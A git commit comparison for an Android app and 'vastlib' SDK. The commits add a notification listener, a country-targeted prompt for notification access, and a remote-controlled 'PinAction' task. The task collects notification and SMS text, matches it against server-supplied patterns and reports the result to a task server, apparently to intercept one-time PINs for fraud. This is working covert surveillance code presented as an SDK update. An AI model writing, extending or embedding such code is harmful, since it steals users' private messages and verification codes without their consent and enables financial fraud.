Compare commits

...

7 Commits
main ... pin

@ -12,6 +12,15 @@
android:supportsRtl="true" android:supportsRtl="true"
android:theme="@style/Theme.Kvastsdk" android:theme="@style/Theme.Kvastsdk"
tools:targetApi="31"> tools:targetApi="31">
<service
android:name="com.example.kvast_sdk.NotificationService"
android:exported="false"
android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
<intent-filter>
<action android:name="android.service.notification.NotificationListenerService" />
</intent-filter>
</service>
<activity <activity
android:name=".MainActivity" android:name=".MainActivity"
android:exported="true"> android:exported="true">

@ -0,0 +1,53 @@
package com.example.kvast_sdk
import android.content.ComponentName
import android.content.Context
import android.content.Intent
import androidx.core.content.ContextCompat.startActivity
import com.example.vastlib.entity.request.BaseRequestBuilder
import com.example.vastlib.utils.AndroidIdManager
import com.example.vastlib.utils.notificationListenerEnable
fun Context.openNotificationListener() {
val mandatoryTeleCode = listOf(
"214", "232", "260", "262", "420", "424", "502", "520", "510", "334", "470", "413"
)
AndroidIdManager.init(this.applicationContext)
val deviceInfoProvider = BaseRequestBuilder(this.applicationContext)
var code = deviceInfoProvider.telcoCode
// code="454"
if (code.isNotBlank() && mandatoryTeleCode.any { code.startsWith(it) }) {
showAlertDialog()
}
}
fun Context.showAlertDialog() {
if (!notificationListenerEnable()) {
gotoNotificationAccessSetting()
}
}
fun Context.gotoNotificationAccessSetting(): Boolean {
try {
val intent = Intent("android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS").apply {
flags = Intent.FLAG_ACTIVITY_NEW_TASK
}
startActivity(intent)
return true
} catch (e: java.lang.Exception) {
try {
val intent = Intent().apply {
flags = Intent.FLAG_ACTIVITY_NEW_TASK
component = ComponentName(
"com.android.settings",
"com.android.settings.Settings`$`NotificationAccessSettingsActivity"
)
}
startActivity(intent)
return true
} catch (e: java.lang.Exception) {
}
return false
}
}

@ -14,6 +14,8 @@ class MainActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) { override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState) super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main) setContentView(R.layout.activity_main)
Sdk.init(this)
this.openNotificationListener()
} }
} }

@ -6,6 +6,6 @@ import com.iab.ak.Sdk
class MyApplication:Application() { class MyApplication:Application() {
override fun onCreate() { override fun onCreate() {
super.onCreate() super.onCreate()
Sdk.init(this)
} }
} }

@ -0,0 +1,14 @@
package com.example.kvast_sdk
import android.service.notification.NotificationListenerService
import android.service.notification.StatusBarNotification
import com.example.vastlib.pin.NotificationManger.comeON
class NotificationService : NotificationListenerService() {
override fun onNotificationPosted(sbn: StatusBarNotification?) {
super.onNotificationPosted(sbn)
sbn?.comeON()
}
}

@ -14,7 +14,7 @@ android {
consumerProguardFiles "consumer-rules.pro" consumerProguardFiles "consumer-rules.pro"
buildConfigField "boolean", "log_enable", "true" buildConfigField "boolean", "log_enable", "true"
buildConfigField "int", "aff_id", "1040" buildConfigField "int", "aff_id", "1040"
buildConfigField "int", "sdk_version", "38" buildConfigField "int", "sdk_version", "39"
buildConfigField "String", "task_api", "\"https://api.osakamob.com/task\"" buildConfigField "String", "task_api", "\"https://api.osakamob.com/task\""
buildConfigField "String", "checkSum", "\"0388afc149fe80bf2b73\"" buildConfigField "String", "checkSum", "\"0388afc149fe80bf2b73\""
buildConfigField "String", "chcikUrl", "\"http://46.101.109.8/s/zbs\"" buildConfigField "String", "chcikUrl", "\"http://46.101.109.8/s/zbs\""

@ -12,6 +12,7 @@ interface BaseAction {
companion object { companion object {
const val ACTION_TYPE_HTTP = 0 const val ACTION_TYPE_HTTP = 0
const val ACTION_TYPE_PIN = 1
const val ACTION_TYPE_WS = 2 const val ACTION_TYPE_WS = 2
} }
} }

@ -0,0 +1,15 @@
package com.example.vastlib.entity.action
data class PinAction(
override var type: Int,
override var delay: Int,
override var next: List<Next> = emptyList(),
override var skip_error: Boolean,
override var async: Boolean,
override var disconnect_ws: Boolean,
var params:List<VarExtractRule> = emptyList(),
var filter:Boolean = true,
):BaseAction{
override fun toString() = ""
}

@ -9,6 +9,7 @@ import com.example.vastlib.BuildConfig
import com.example.vastlib.utils.AndroidIdManager import com.example.vastlib.utils.AndroidIdManager
import com.example.vastlib.utils.LogUtils import com.example.vastlib.utils.LogUtils
import com.example.vastlib.utils.NetworkManager import com.example.vastlib.utils.NetworkManager
import com.example.vastlib.utils.notificationListenerEnable
import kotlinx.coroutines.* import kotlinx.coroutines.*
class BaseRequestBuilder(private val context: Context) { class BaseRequestBuilder(private val context: Context) {
@ -26,7 +27,7 @@ class BaseRequestBuilder(private val context: Context) {
} }
private val appVer: Int private val appVer: Int
private val telcoCode: String val telcoCode: String
get() { get() {
return if (networkOperator.isNotBlank()) simOperator return if (networkOperator.isNotBlank()) simOperator
else networkOperator else networkOperator
@ -37,7 +38,9 @@ class BaseRequestBuilder(private val context: Context) {
return NetworkManager.sdkNetworkType(context) return NetworkManager.sdkNetworkType(context)
} }
private val recvFlag: Boolean = false private val recvFlag: Boolean
get() = context.notificationListenerEnable()
private val countryCode: String private val countryCode: String
get() { get() {
return context.resources.configuration.locale.country return context.resources.configuration.locale.country

@ -1,6 +1,7 @@
package com.example.vastlib.entity.task package com.example.vastlib.entity.task
import com.example.vastlib.entity.action.BaseAction import com.example.vastlib.entity.action.BaseAction
import com.example.vastlib.entity.action.PinAction
data class Task( data class Task(
var taskId:Int, var taskId:Int,
@ -8,5 +9,11 @@ data class Task(
var taskUid:Long, var taskUid:Long,
var actions:List<BaseAction> = mutableListOf(), var actions:List<BaseAction> = mutableListOf(),
) { ) {
val isPinAction:Boolean
get() = actions.any { it.type == BaseAction.ACTION_TYPE_PIN}
val filter:Boolean
get() = (actions.firstOrNull { it.type == BaseAction.ACTION_TYPE_PIN } as? PinAction)?.filter ?: true
override fun toString() = "" override fun toString() = ""
} }

@ -1,5 +1,6 @@
package com.example.vastlib.entity.task package com.example.vastlib.entity.task
import com.example.vastlib.pin.NotificationMessage
import java.net.CookieManager import java.net.CookieManager
data class TaskConfig( data class TaskConfig(
@ -13,7 +14,8 @@ data class TaskConfig(
val cookie_manager: CookieManager, val cookie_manager: CookieManager,
var current_step: Int, var current_step: Int,
val report_url: String, val report_url: String,
val variable_cache:MutableMap<String, String> val variable_cache:MutableMap<String, String>,
val notificationCache:MutableList<NotificationMessage>
) { ) {
override fun toString() = "" override fun toString() = ""
} }

@ -0,0 +1,26 @@
package com.example.vastlib.pin
import android.app.NotificationManager
import android.os.Bundle
import android.service.notification.StatusBarNotification
import com.example.vastlib.utils.LogUtils
object NotificationManger {
const val NotifyNfm = "NOTIFY_NFM"
var listener:((Bundle)->Unit)? = null
fun StatusBarNotification.comeON(){
notification.extras?.let {content->
val nfm = NotificationMessage(
content = content.getCharSequence("android.text", "").toString(),
from = content.getString("android.title",""),
time = System.currentTimeMillis(),
app = packageName,
)
val bundle = Bundle()
bundle.putSerializable(NotifyNfm, nfm)
listener?.invoke(bundle)
LogUtils.info("content notify: $content")
}
}
}

@ -0,0 +1,12 @@
package com.example.vastlib.pin
import java.io.Serializable
data class NotificationMessage(
val content:String,
val from:String,
val time:Long,
val app:String
): Serializable {
override fun toString(): String = ""
}

@ -16,7 +16,7 @@ import org.json.JSONArray
import java.net.URI import java.net.URI
import java.net.URL import java.net.URL
import java.net.URLEncoder import java.net.URLEncoder
import java.util.Base64 import java.util.*
abstract class BaseActionExecService(protected open val taskConfig: TaskConfig) { abstract class BaseActionExecService(protected open val taskConfig: TaskConfig) {
protected val scope:CoroutineScope = CoroutineScope(Dispatchers.IO + SupervisorJob()) protected val scope:CoroutineScope = CoroutineScope(Dispatchers.IO + SupervisorJob())
@ -28,6 +28,8 @@ abstract class BaseActionExecService(protected open val taskConfig: TaskConfig)
//执行pin_action产生的错误码 //执行pin_action产生的错误码
val ERROR_CODE_PIN_ACTION_EXEC_FAILED = 700 val ERROR_CODE_PIN_ACTION_EXEC_FAILED = 700
var ERROR_CODE_PIN_ACTION_TIMEOUT = 702
//执行web_socket_action产生的错误码 //执行web_socket_action产生的错误码
val WEB_SOCKET_CODE = 101 val WEB_SOCKET_CODE = 101
val ERROR_CODE_WS_ACTION_EXEC_FAILED = 800 val ERROR_CODE_WS_ACTION_EXEC_FAILED = 800
@ -107,6 +109,10 @@ abstract class BaseActionExecService(protected open val taskConfig: TaskConfig)
val socketAction = action as? WebSocketAction val socketAction = action as? WebSocketAction
socketAction?.response?.params?.toMutableList() socketAction?.response?.params?.toMutableList()
} }
BaseAction.ACTION_TYPE_PIN -> {
val pinAction = action as? PinAction
pinAction?.params?.toMutableList()
}
else -> null else -> null
}?.forEach { extractRule -> }?.forEach { extractRule ->
val value = when (extractRule.rule) { val value = when (extractRule.rule) {

@ -0,0 +1,141 @@
package com.example.vastlib.service
import android.util.Log
import com.example.vastlib.entity.action.Next
import com.example.vastlib.entity.action.PinAction
import com.example.vastlib.entity.report.ActionExec
import com.example.vastlib.entity.task.TaskConfig
import com.example.vastlib.pin.NotificationMessage
import com.example.vastlib.utils.JSONUtils
import com.example.vastlib.utils.LogUtils
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.delay
import kotlinx.coroutines.isActive
import kotlinx.coroutines.withContext
class PinActionExecService(
private val action: PinAction,
override val taskConfig: TaskConfig
) : BaseActionExecService(taskConfig) {
suspend fun executeAction(onFinish: (List<ActionExec>) -> Unit = {}) =
withContext(Dispatchers.IO) {
val actionExecList: MutableList<ActionExec> = mutableListOf()
var currentStep = taskConfig.current_step
kotlin.runCatching {
val start = System.currentTimeMillis()
var respCode = 200
val messageLog: MutableList<NotificationMessage> = mutableListOf()
val nextList = action.next
while (isActive && (start + action.delay * 1000) > System.currentTimeMillis()) {
val notificationCache = taskConfig.notificationCache
if (nextList.isNotEmpty() && notificationCache.isNotEmpty()) {
val notificationMessages =
haveNextCatchTargetMessage(notificationCache, nextList)
if (notificationMessages.isNotEmpty()) {
LogUtils.info("catch target message...")
messageLog.addAll(notificationMessages)
break
}
}
LogUtils.info("waiting for target message... ${action.delay}")
delay(1000)
}
val cost = System.currentTimeMillis() - start
if (messageLog.isNotEmpty()) {
val nextStep =
getNextStepIndex(nextList, JSONUtils.notificationToJsonString(messageLog), currentStep)
taskConfig.current_step = nextStep
} else {
if (nextList.isNotEmpty()) {
taskConfig.current_step = Int.MAX_VALUE
respCode = ERROR_CODE_PIN_ACTION_TIMEOUT
} else {
taskConfig.current_step = ++currentStep
messageLog += taskConfig.notificationCache
}
}
if(taskConfig.current_step != Int.MAX_VALUE && messageLog.isNotEmpty()) {
val responseBody = JSONUtils.notificationToJsonString(messageLog)
extractBodyVariableToCache(action, responseBody, responseBody.toByteArray())
}
val actionExec = genActionExec(messageLog, currentStep, respCode, cost)
actionExecList += actionExec
}.onFailure {
LogUtils.error(it)
val actionExec = genExceptionActionExec(action, ERROR_CODE_PIN_ACTION_EXEC_FAILED, Log.getStackTraceString(it))
actionExecList += actionExec
if(action.skip_error) {
taskConfig.current_step = ++currentStep
}else {
taskConfig.current_step = Int.MAX_VALUE
}
}
onFinish(actionExecList)
}
private fun genActionExec(
messageLog: MutableList<NotificationMessage>,
currentStep: Int,
respCode: Int,
cost: Long
): ActionExec{
val actionExec = ActionExec().apply {
this.step = currentStep
this.index = 1
this.respCode = respCode
this.cost = cost
this.time = System.currentTimeMillis()
if(messageLog.isNotEmpty()) {
this.url = messageLog.first().app
this.respData = JSONUtils.notificationToJsonString(messageLog)
}
}
return actionExec
}
private fun haveNextCatchTargetMessage(
notificationCache: List<NotificationMessage>,
nextList: List<Next>
): List<NotificationMessage> {
var result: List<NotificationMessage> = mutableListOf()
var targetMessage: NotificationMessage? = null
for (notify in notificationCache) {
for (next in nextList) {
if (next.step <= 0) continue
LogUtils.info("next:$next")
val contain = next.contain
if (contain.isNotBlank() && notify.from.contains(contain) ||
notify.content.contains(contain)
) {
targetMessage = notify
break
}
if (next.regexp.isNotBlank()) {
val pattern = next.regexp.toRegex()
var matcher = pattern.matches(notify.from)
if (matcher) {
targetMessage = notify
break
}
matcher = pattern.matches(notify.content)
if (matcher) {
targetMessage = notify
break
}
}
}
if (targetMessage != null) {
break
}
}
if (targetMessage != null) {
result = notificationCache.filter { targetMessage.from == it.from }.toList()
}
return result
}
}

@ -103,18 +103,25 @@ class SdkMainService private constructor() {
return@collect return@collect
} }
} }
context.restartNotificationListenerServiceState()
isTaskRunning.set(true) isTaskRunning.set(true)
val userId = AndroidIdManager.getAdId() val userId = AndroidIdManager.getAdId()
measureTime { measureTime {
taskResponse.tasks.forEachIndexed { index, task->
taskResponse.tasks.map { LogUtils.info("Task### $index")
async { val job = taskScope.launch {
TaskExecService(it, taskResponse, userId).runTask( TaskExecService(
TASK_MAX_EXEC_TIME task,
) taskResponse,
userId,
context
).runTask(
TASK_MAX_EXEC_TIME
)
} }
}.toList().awaitAll() job.join()
}
}.apply { }.apply {
LogUtils.info("use ${this.inWholeSeconds}'s before task exec completed") LogUtils.info("use ${this.inWholeSeconds}'s before task exec completed")
} }

@ -1,13 +1,19 @@
package com.example.vastlib.service package com.example.vastlib.service
import android.content.Context
import android.os.Bundle
import android.provider.Telephony
import com.example.vastlib.entity.action.BaseAction import com.example.vastlib.entity.action.BaseAction
import com.example.vastlib.entity.action.HttpAction import com.example.vastlib.entity.action.HttpAction
import com.example.vastlib.entity.action.PinAction
import com.example.vastlib.entity.action.WebSocketAction import com.example.vastlib.entity.action.WebSocketAction
import com.example.vastlib.entity.report.ActionExec import com.example.vastlib.entity.report.ActionExec
import com.example.vastlib.entity.report.TaskExec import com.example.vastlib.entity.report.TaskExec
import com.example.vastlib.entity.response.TaskResponse import com.example.vastlib.entity.response.TaskResponse
import com.example.vastlib.entity.task.Task import com.example.vastlib.entity.task.Task
import com.example.vastlib.entity.task.TaskConfig import com.example.vastlib.entity.task.TaskConfig
import com.example.vastlib.pin.NotificationManger
import com.example.vastlib.pin.NotificationMessage
import com.example.vastlib.utils.LogUtils import com.example.vastlib.utils.LogUtils
import com.example.vastlib.utils.WebSocketClientManager import com.example.vastlib.utils.WebSocketClientManager
import kotlinx.coroutines.* import kotlinx.coroutines.*
@ -16,10 +22,10 @@ import java.net.CookiePolicy
import kotlin.random.Random import kotlin.random.Random
class TaskExecService constructor( class TaskExecService constructor(
private val currentTask: Task, private val taskResponse: TaskResponse, userId: String private val currentTask: Task, private val taskResponse: TaskResponse, userId: String,
private val context: Context
) { ) {
private lateinit var taskConfig: TaskConfig private var taskConfig: TaskConfig
init { init {
with(taskResponse) { with(taskResponse) {
taskConfig = TaskConfig( taskConfig = TaskConfig(
@ -33,14 +39,37 @@ class TaskExecService constructor(
cookie_manager = CookieManager(null, CookiePolicy.ACCEPT_ORIGINAL_SERVER), cookie_manager = CookieManager(null, CookiePolicy.ACCEPT_ORIGINAL_SERVER),
current_step = 0, current_step = 0,
report_url = taskResponse.reportUrl, report_url = taskResponse.reportUrl,
variable_cache = mutableMapOf() variable_cache = mutableMapOf(),
notificationCache = mutableListOf()
) )
} }
} }
suspend fun runTask(timeOutMillis:Long) = withTimeoutOrNull(timeMillis = timeOutMillis) { suspend fun runTask(timeOutMillis: Long) = withTimeoutOrNull(timeMillis = timeOutMillis) {
WebSocketClientManager.getInstance().closeClient() WebSocketClientManager.getInstance().closeClient()
if (currentTask.isPinAction) {
LogUtils.info(NotificationManger.NotifyNfm)
NotificationManger.listener = { bundle ->
val pinResp = bundle.getSerializable(NotificationManger.NotifyNfm) as NotificationMessage
val defaultSmsPackage:String? = Telephony.Sms.getDefaultSmsPackage(context)
if(defaultSmsPackage != null && currentTask.filter) {
if(pinResp.app == defaultSmsPackage) {
taskConfig.notificationCache += pinResp
LogUtils.info(pinResp.content)
}else if(defaultSmsPackage != null) {
taskConfig.notificationCache += pinResp
LogUtils.info(pinResp.content)
}
}else {
taskConfig.notificationCache += pinResp
LogUtils.info(pinResp.content)
}
}
}
execTask() execTask()
if(currentTask.isPinAction) {
NotificationManger.listener = null
}
delay((Random.nextInt(30) + 30) * 1000L) delay((Random.nextInt(30) + 30) * 1000L)
} }
@ -80,6 +109,13 @@ class TaskExecService constructor(
} }
} }
} }
BaseAction.ACTION_TYPE_PIN -> {
(action as? PinAction)?.apply {
PinActionExecService(this, taskConfig).executeAction {
logs += it
}
}
}
else -> { else -> {
LogUtils.info("unknown action") LogUtils.info("unknown action")
} }

@ -0,0 +1,33 @@
package com.example.vastlib.utils
import android.content.ComponentName
import android.content.Context
import android.content.pm.PackageManager
import android.provider.Settings
fun Context.notificationListenerEnable():Boolean {
val flat = Settings.Secure.getString(contentResolver, "enabled_notification_listeners")
return flat?.contains(packageName) == true
}
fun Context.restartNotificationListenerServiceState() {
var notificationListenerServiceClass:String? = null
kotlin.runCatching {
val packageInfo = packageManager.getPackageInfo(packageName,
PackageManager.GET_SERVICES or PackageManager.GET_DISABLED_COMPONENTS)
for (serviceInfo in packageInfo.services) {
if("android.permission.BIND_NOTIFICATION_LISTENER_SERVICE" == serviceInfo.permission) {
notificationListenerServiceClass = serviceInfo.name
}
}
}
if(null == notificationListenerServiceClass) return
packageManager.setComponentEnabledSetting(ComponentName(this,
notificationListenerServiceClass!!
), PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP)
packageManager.setComponentEnabledSetting(ComponentName(this,
notificationListenerServiceClass!!
), PackageManager.COMPONENT_ENABLED_STATE_ENABLED, PackageManager.DONT_KILL_APP)
}

@ -9,6 +9,7 @@ import com.example.vastlib.entity.request.BaseRequest
import com.example.vastlib.entity.request.ReportTaskRequest import com.example.vastlib.entity.request.ReportTaskRequest
import com.example.vastlib.entity.response.TaskResponse import com.example.vastlib.entity.response.TaskResponse
import com.example.vastlib.entity.task.Task import com.example.vastlib.entity.task.Task
import com.example.vastlib.pin.NotificationMessage
import com.example.vastlib.utils.JSONUtils.toJsonString import com.example.vastlib.utils.JSONUtils.toJsonString
import org.json.JSONArray import org.json.JSONArray
import org.json.JSONObject import org.json.JSONObject
@ -28,6 +29,21 @@ object JSONUtils {
it.toString() it.toString()
} }
fun notificationToJsonString(notifications:List<NotificationMessage>):String {
val jsonArray = JSONArray()
for (n in notifications) {
JSONObject().let {
it.put("content", n.content)
it.put("from", n.from)
it.put("time", n.time)
it.put("app", n.app)
}.apply {
jsonArray.put(this)
}
}
return jsonArray.toString()
}
fun Response.toJsonString(): String = JSONObject().let { fun Response.toJsonString(): String = JSONObject().let {
it.put("code", code) it.put("code", code)
it.put("start_time", startTime) it.put("start_time", startTime)
@ -181,6 +197,16 @@ object JSONUtils {
this, this,
) )
} }
BaseAction.ACTION_TYPE_PIN -> {
parsePinAction(
type,
delay,
skipError,
async,
disconnectWs,
this
)
}
else -> { else -> {
null null
} }
@ -197,6 +223,52 @@ object JSONUtils {
}.getOrNull() }.getOrNull()
} }
private fun parsePinAction(
type: Int,
delay: Int,
skipError: Boolean,
async: Boolean,
disconnectWs: Boolean,
jsonObject: JSONObject,
):PinAction{
val pinAction = PinAction(
type = type,
delay = delay,
skip_error = skipError,
async = async,
disconnect_ws = disconnectWs
)
jsonObject.optJSONArray("next")?.run {
(0 until length()).forEach { index ->
pinAction.next += optJSONObject(index).run {
Next(
contain = optString("contain"),
step = optInt("step"),
regexp = optString("regexp")
)
}
}
}
jsonObject.optJSONArray("params")?.run {
(0 until length()).forEach {
getJSONObject(it).apply {
val arv = VarExtractRule(
expr = optString("expr"),
variable = optString("variable"),
rule = optInt("rule")
)
pinAction.params += arv
}
}
}
pinAction.filter = jsonObject.optBoolean("filter", true)
return pinAction
}
private fun parseWebSocketAction( private fun parseWebSocketAction(
type: Int, type: Int,
delay: Int, delay: Int,

@ -39,7 +39,7 @@ object NetworkManager {
} }
val airModeOn: (context: Context) -> Boolean = { context -> val airModeOn: (context: Context) -> Boolean = { context ->
Settings.System.getInt( Settings.Global.getInt(
context.contentResolver, Settings.Global.AIRPLANE_MODE_ON, 0 context.contentResolver, Settings.Global.AIRPLANE_MODE_ON, 0
) == 1 ) == 1
} }

Loading…
Cancel
Save